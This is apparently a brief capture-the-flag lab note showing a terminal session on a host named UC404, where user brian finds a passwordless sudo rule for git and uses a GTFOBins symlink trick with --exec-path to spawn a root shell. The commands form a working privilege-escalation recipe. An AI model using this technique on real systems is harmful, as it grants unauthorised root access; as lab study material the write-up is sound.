4 box enum brian > privesc > root
Last updated
Last updated
brian@UC404:/$ whoami;id
brian
uid=1001(brian) gid=1001(brian) groups=1001(brian)
brian@UC404:/$ sudo -l
Matching Defaults entries for brian on UC404:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User brian may run the following commands on UC404:
(ALL) NOPASSWD: /usr/bin/git
# GTFO bins
TF=$(mktemp -d)
ln -s /bin/sh "$TF/git-x"
sudo git "--exec-path=$TF" x
root@UC404:/# whoami;id;hostname;uname -a
root